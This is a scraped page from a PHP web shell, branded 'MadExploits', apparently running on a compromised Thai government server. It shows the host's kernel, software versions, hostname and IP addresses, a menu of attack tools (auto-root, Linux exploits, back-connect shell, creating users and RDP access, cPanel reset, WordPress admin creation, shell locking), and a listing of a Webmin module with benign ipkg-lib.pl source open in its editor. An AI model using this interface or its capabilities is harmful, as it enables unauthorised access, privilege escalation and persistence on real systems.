Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
software /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
2.82
KB
-rw-r--r--
aix-lib.pl
19.2
KB
-rwxr-xr-x
apt-lib.pl
13.32
KB
-rwxr-xr-x
apt_upgrade.cgi
1.97
KB
-rwxr-xr-x
cgi_args.pl
524
B
-rwxr-xr-x
close.cgi
263
B
-rwxr-xr-x
config-aix
30
B
-rw-r--r--
config-cobalt-linux
30
B
-rw-r--r--
config-coherent-linux
30
B
-rw-r--r--
config-corel-linux
33
B
-rw-r--r--
config-cygwin
33
B
-rw-r--r--
config-debian-linux
51
B
-rw-r--r--
config-freebsd
54
B
-rw-r--r--
config-freebsd-8.4-ALL
52
B
-rw-r--r--
config-gentoo-linux
33
B
-rw-r--r--
config-hpux
31
B
-rw-r--r--
config-mandrake-linux
30
B
-rw-r--r--
config-msc-linux
30
B
-rw-r--r--
config-netbsd
34
B
-rw-r--r--
config-open-linux
30
B
-rw-r--r--
config-openbsd
34
B
-rw-r--r--
config-openmamba-linux
48
B
-rw-r--r--
config-openserver
33
B
-rw-r--r--
config-redhat-linux
48
B
-rw-r--r--
config-slackware-linux
36
B
-rw-r--r--
config-solaris
33
B
-rw-r--r--
config-suse-linux
30
B
-rw-r--r--
config-syno-linux
50
B
-rw-r--r--
config-trustix-linux
30
B
-rw-r--r--
config-turbo-linux
30
B
-rw-r--r--
config-united-linux
30
B
-rw-r--r--
config-unixware
33
B
-rw-r--r--
config-windows
30
B
-rw-r--r--
config.info
511
B
-rw-r--r--
config.info.ca
549
B
-rw-r--r--
config.info.ca.UTF-8
554
B
-rw-r--r--
config.info.cz
359
B
-rw-r--r--
config.info.cz.UTF-8
372
B
-rw-r--r--
config.info.de
523
B
-rw-r--r--
config.info.de.UTF-8
523
B
-rw-r--r--
config.info.es
372
B
-rw-r--r--
config.info.es.UTF-8
372
B
-rw-r--r--
config.info.fr
133
B
-rw-r--r--
config.info.fr.UTF-8
135
B
-rw-r--r--
config.info.ja_JP.UTF-8
428
B
-rw-r--r--
config.info.ja_JP.euc
384
B
-rw-r--r--
config.info.ko_KR.UTF-8
409
B
-rw-r--r--
config.info.ko_KR.euc
373
B
-rw-r--r--
config.info.ms
188
B
-rw-r--r--
config.info.ms.UTF-8
188
B
-rw-r--r--
config.info.ms_MY
411
B
-rw-r--r--
config.info.ms_MY.UTF-8
411
B
-rw-r--r--
config.info.nl
415
B
-rw-r--r--
config.info.nl.UTF-8
415
B
-rw-r--r--
config.info.no
424
B
-rw-r--r--
config.info.no.UTF-8
424
B
-rw-r--r--
config.info.pl
391
B
-rw-r--r--
config.info.pl.UTF-8
392
B
-rw-r--r--
config.info.ru.UTF-8
222
B
-rw-r--r--
config.info.ru_RU
179
B
-rw-r--r--
config.info.ru_RU.UTF-8
222
B
-rw-r--r--
config.info.ru_SU
179
B
-rw-r--r--
config.info.sv
224
B
-rw-r--r--
config.info.sv.UTF-8
224
B
-rw-r--r--
config.info.tr
122
B
-rw-r--r--
config.info.uk_UA
181
B
-rw-r--r--
config.info.uk_UA.UTF-8
218
B
-rw-r--r--
config.info.zh_CN
115
B
-rw-r--r--
config.info.zh_CN.UTF-8
122
B
-rw-r--r--
config.info.zh_TW.Big5
117
B
-rw-r--r--
config.info.zh_TW.UTF-8
125
B
-rw-r--r--
csw-lib.pl
2.68
KB
-rwxr-xr-x
cygwin-lib.pl
22.33
KB
-rwxr-xr-x
debian-lib.pl
6.54
KB
-rwxr-xr-x
delete_file.cgi
239
B
-rwxr-xr-x
delete_pack.cgi
1.46
KB
-rwxr-xr-x
delete_packs.cgi
1.85
KB
-rwxr-xr-x
do_install.cgi
2.56
KB
-rwxr-xr-x
edit_pack.cgi
1.13
KB
-rwxr-xr-x
emerge-lib.pl
7.65
KB
-rwxr-xr-x
file_info.cgi
2.09
KB
-rwxr-xr-x
find.cgi
1.63
KB
-rwxr-xr-x
freebsd-lib.pl
7.95
KB
-rwxr-xr-x
hpux-lib.pl
8.01
KB
-rwxr-xr-x
index.cgi
3
KB
-rwxr-xr-x
install_pack.cgi
4.7
KB
-rwxr-xr-x
ipkg-close.cgi
269
B
-rwxr-xr-x
ipkg-edit_pack.cgi
1.45
KB
-rwxr-xr-x
ipkg-lib.pl
7.78
KB
-rwxr-xr-x
ipkg-open.cgi
243
B
-rwxr-xr-x
ipkg-tree.cgi
4
KB
-rwxr-xr-x
ipkg_upgrade.cgi
926
B
-rwxr-xr-x
list_pack.cgi
1.85
KB
-rwxr-xr-x
log_parser.pl
1.34
KB
-rwxr-xr-x
module.info
484
B
-rw-r--r--
module.info.ca
115
B
-rw-r--r--
module.info.ca.UTF-8
128
B
-rw-r--r--
module.info.cz
27
B
-rw-r--r--
module.info.cz.UTF-8
36
B
-rw-r--r--
module.info.de
106
B
-rw-r--r--
module.info.de.UTF-8
118
B
-rw-r--r--
module.info.es
29
B
-rw-r--r--
module.info.es.UTF-8
35
B
-rw-r--r--
module.info.fr
29
B
-rw-r--r--
module.info.fr.UTF-8
35
B
-rw-r--r--
module.info.hu
36
B
-rw-r--r--
module.info.hu.UTF-8
44
B
-rw-r--r--
module.info.ja_JP.UTF-8
52
B
-rw-r--r--
module.info.ja_JP.euc
39
B
-rw-r--r--
module.info.ko_KR.UTF-8
43
B
-rw-r--r--
module.info.ko_KR.euc
33
B
-rw-r--r--
module.info.ms
23
B
-rw-r--r--
module.info.ms.UTF-8
29
B
-rw-r--r--
module.info.ms_MY
110
B
-rw-r--r--
module.info.ms_MY.UTF-8
122
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.nl.UTF-8
33
B
-rw-r--r--
module.info.no
26
B
-rw-r--r--
module.info.no.UTF-8
32
B
-rw-r--r--
module.info.pl
120
B
-rw-r--r--
module.info.pl.UTF-8
133
B
-rw-r--r--
module.info.pt
28
B
-rw-r--r--
module.info.pt.UTF-8
34
B
-rw-r--r--
module.info.ru.UTF-8
36
B
-rw-r--r--
module.info.ru_RU
23
B
-rw-r--r--
module.info.ru_RU.UTF-8
39
B
-rw-r--r--
module.info.ru_SU
23
B
-rw-r--r--
module.info.sv
21
B
-rw-r--r--
module.info.sv.UTF-8
27
B
-rw-r--r--
module.info.tr
26
B
-rw-r--r--
module.info.zh_CN
18
B
-rw-r--r--
module.info.zh_TW.Big5
25
B
-rw-r--r--
msi-lib.pl
8.44
KB
-rwxr-xr-x
open.cgi
238
B
-rwxr-xr-x
openbsd-lib.pl
4.72
KB
-rwxr-xr-x
pkg-lib.pl
2.5
KB
-rw-r--r--
pkgadd-lib.pl
9.97
KB
-rwxr-xr-x
pkgadd-no-ask
164
B
-rw-r--r--
pkgsrc-lib.pl
7.22
KB
-rw-r--r--
ports-lib.pl
3.49
KB
-rw-r--r--
ports_upgrade.cgi
501
B
-rwxr-xr-x
rhn-lib.pl
3.02
KB
-rwxr-xr-x
rhn.cgi
1.3
KB
-rwxr-xr-x
rhn_check.cgi
1.84
KB
-rwxr-xr-x
rpm-lib.pl
11.18
KB
-rwxr-xr-x
rpmfind.cgi
2.11
KB
-rwxr-xr-x
search.cgi
2.27
KB
-rwxr-xr-x
slackware-lib.pl
6.95
KB
-rwxr-xr-x
software-lib.pl
7.56
KB
-rwxr-xr-x
tree.cgi
3.79
KB
-rwxr-xr-x
urpmi-lib.pl
2.14
KB
-rwxr-xr-x
urpmi_upgrade.cgi
839
B
-rwxr-xr-x
view.cgi
899
B
-rwxr-xr-x
yum-lib.pl
12.8
KB
-rwxr-xr-x
yum_upgrade.cgi
908
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ipkg-lib.pl
# ipkg-lib.pl # Functions for synology IPKG package management use POSIX; chop($system_arch = `uname -m`); $has_update_system = 1; $no_package_install = 1; if (&use_pkg_ng()) { # check whether the opkg manager is available and use that. $ipkg = "opkg"; } else { $ipkg = "ipkg"; # If not, default to the ipkg manager tools } sub use_pkg_ng { return 0 if (-x "/opt/bin/opkg"); } sub list_package_system_commands { return ($ipkg); } # list_packages([package]*) # Fills the array %packages with a list of all packages # ipkg extension: if ALL is specified list also uninstalled packages sub list_packages { local $i = 0; local $arg, $all; if ($_[0] ne "ALL") { $arg = join(" ", map { quotemeta($_) } @_); } else { $all=$_[0]; } %packages = ( ); &open_execute_command(PKGINFO, "$ipkg info $arg", 1, 1); local %temp = (); while(<PKGINFO>) { $_ =~ s/\r|\n//g; if ($_) { local ($param, $val) = split(/: /, $_); $temp{$param}=$val; } else { next if ((!$temp{'Installed-Time'} && $all ne "ALL") && !$arg ); $packages{$i,'name'} = $temp{'Package'}; $packages{$i,'version'} = $temp{'Version'}; $packages{$i,'desc'} = $temp{'Description'}; $packages{$i,'install'} = $temp{'Installed-Time'}; $packages{$i,'arch'} = $temp{'Architecture'}; $packages{$i,'vendor'} = $temp{'Maintainer'}; # generate categories from names, Section $temp{'Package'} =~ m/^(..[^-0-9]*)/; local $cat= $1; if ($cat =~ /^(asterisk|audio|auto|core|compression|diff|lib|gnu|gtk|perl|net|ncurses|py)/) { $cat=ucfirst($1); } elsif ($cat =~ /^(amavisd|cyrus|esmtp|fetchmail|imap|mail|mini|mutt|mpop|msmtp|offlineimap|pop|postfix|postgrey|procmail|putmail|up|qpopper|sendmail|xmail)$/ ) { $cat = "Mail"; } elsif ($cat =~ /^(arc|bzip|cabextract|cpio|freeze|gzip|lha|lzo|p7zip|tar|upx|unarj|xz|zip|zlib|zoo|unzip|unrar)$/) { $cat = "Compression"; } elsif ($cat =~ /^x|motif/ && $desc =~ /X |Xorg|X11|XDMCP|Xinerama|Athena|Motif/) { $cat = "X11"; } elsif ($cat =~ /^([^v]+sh|sharutils)$/) { $cat = "Shell"; } elsif ($cat =~ /^(ed|gawk|sed|vim)$/) { $cat = "Editor"; } elsif ($cat =~ /^(apache|cherokee|hiawatha|lighttpd|minihttpd|mod|thttpd)$|^shell/) { $cat = "Web"; } elsif ($temp{'Section'} =~ /^(doc|lang|lib|net|sys|text|util)/ ) { $cat=ucfirst($1); } else { $cat=ucfirst($temp{'Section'}); } $packages{$i,'class'} = $cat; $temp{'Installed-Time'}=undef; $i++; } } close(PKGINFO); return $i; } # package_info(package) # Returns an array of package information in the order # name, class, description, arch, version, vendor, installtime sub package_info { local $qm = quotemeta($_[0]); local $pos=&list_packages($_[0]); return () if (!$pos--); local $upgrade = $pos ? &backquote_command("$ipkg list-upgradable | grep $qm 2>&1", 1) : undef; local @rv = ( $_[0] ); push(@rv, $packages{$pos, 'class'}); push(@rv, $packages{$pos, 'desc'}); push(@rv, $packages{$pos, 'arch'}); push(@rv, $packages{$pos, 'version'}); push(@rv, $packages{$pos, 'vendor'}); if ($pos) { $upgrade =~ /.* - (.*)/; push(@rv, $text{'IPKG_update_avail'} ." ".$1); } else { push(@rv, $packages{$pos, 'install'} ? ctime($packages{0, 'install'}) : $text{'IPKG_not_installed'}); } push(@rv, $packages{$pos, 'install'} ? "" : false); push(@rv, $packages{$pos, 'install'} ? "" : false); return @rv; } # check_files(package) # Fills in the %files array with information about the files belonging # to some package. Values in %files are path type user group mode size error sub check_files { local $i = 0; local $file; local $qm = quotemeta($_[0]); &open_execute_command(PKGINFO, "$ipkg files $qm", 1, 1); while($file = <PKGINFO>) { $file =~ s/\r|\n//g; next if ($file =~ /^Package /); next if ($file !~ /^\//); local $real = &translate_filename($file); local @st = stat($real); $files{$i,'path'} = $file; $files{$i,'type'} = -l $real ? 3 : -d $real ? 1 : 0; $files{$i,'user'} = getpwuid($st[4]); $files{$i,'group'} = getgrgid($st[5]); $files{$i,'mode'} = sprintf "%o", $st[2] & 07777; $files{$i,'size'} = $st[7]; $files{$i,'link'} = readlink($real); $i++; } return $i; } # installed_file(file) # Given a filename, fills %file with details of the given file and returns 1. # If the file is not known to the package system, returns 0 # Usable values in %file are path type user group mode size packages sub installed_file { local (%packages, $file, $i, @pkgin); local $n = &list_packages(); for($i=0; $i<$n; $i++) { &open_execute_command(PKGINFO, "$ipkg files $packages{$i,'name'}", 1,1); while($file = <PKGINFO>) { next if ($file =~ /^Package /); $file =~ s/\r|\n//g; if ($file eq $_[0]) { # found it push(@pkgin, $packages{$i,'name'}); } } close(PKGINFO); } if (@pkgin) { local $real = &translate_filename($_[0]); local @st = stat($real); $file{'path'} = $_[0]; $file{'type'} = -l $real ? 3 : -d $real ? 1 : 0; $file{'user'} = getpwuid($st[4]); $file{'group'} = getgrgid($st[5]); $file{'mode'} = sprintf "%o", $st[2] & 07777; $file{'size'} = $st[7]; $file{'link'} = readlink($real); $file{'packages'} = join(" ", @pkgin); return 1; } else { return 0; } } # install_package(file, package) # Installs the package in the given file, with options from %in sub install_package { local $out = &backquote_logged("$ipkg install $_[1] 2>&1"); if ($?) { return "<pre>$out</pre>"; } return undef; } # delete_package(package) # Totally remove some package sub delete_package { local $out = &backquote_logged("$ipkg remove $_[0] 2>&1"); if ($?) { return "<pre>$out</pre>"; } return undef; } sub package_system { return &text('bsd_manager', "SYNOLOGY"); } sub package_help { return $ipkg; } sub list_update_system_commands { return $ipkg; } # update_system_install([package]) # Install some package with IPKG sub update_system_install { local $update = $_[0] || $in{'update'}; local (@rv, @newpacks); local $cmd = "$ipkg install"; print "<b>",&text('IPKG_install', "<tt>$cmd</tt>"),"</b><p>\n"; print "<pre>"; &additional_log('exec', undef, "$cmd $update"); local $qm = join(" ", map { quotemeta($_) } split(/\s+/, $update)); &open_execute_command(CMD, "$cmd $qm", 2); while(<CMD>) { s/\r|\n//g; if (/Installing\s+(\S+)\s+/) { # Found a package local $pkg = $1; $pkg =~ s/\-\d.*//; # remove version push(@rv, $pkg); } print &html_escape($_."\n"); } close(CMD); print "</pre>\n"; if ($?) { print "<b>$text{'IPKG_failed'}</b><p>\n"; return ( ); } else { print "<b>$text{'IPKG_ok'}</b><p>\n"; return &unique(@rv); } } # update_system_form() # Shows a form for updating all packages on the system sub update_system_form { print &ui_subheading($text{'IPKG_form'}); print &ui_buttons_start(); print &ui_form_start("ipkg_upgrade.cgi"); print &ui_submit($text{'IPKG_update'}, "update"),"<br>\n"; print &ui_submit($text{'IPKG_upgrade'}, "upgrade"); print &ui_form_end(), "</td><td align=\"right\">"; print &ui_form_start("ipkg-tree.cgi"); print &ui_submit($text{'IPKG_index_tree'}); print &ui_form_end(); print &ui_buttons_end(); } # update_system_resolve(name) # Converts a standard package name like apache, sendmail or squid into # the name used by YUM. sub update_system_resolve { local ($name) = @_; return $name eq "dhcpd" ? "dhcp-server" : $name eq "mysql" ? "mariadb" : $name eq "openldap" ? "openldap openldap-servers" : $name eq "postgresql" ? "postgresql postgresql-server" : $name eq "samba" ? "samba-client samba-server" : $name; } # update_system_available() # Returns a list of package names and versions that are available from IPKG # including updated versions sub update_system_available { local @rv; &open_execute_command(PKGINFO, "$ipkg list-upgradable", 1, 1); while(<PKG>) { s/\r|\n//g; if (/^\s*(.+?) - (.+?) - (.+)/) { local $pkg = { 'name' => $1, 'version' => $3 }; push(@rv, $pkg); } } close(PKG); return @rv; }
Close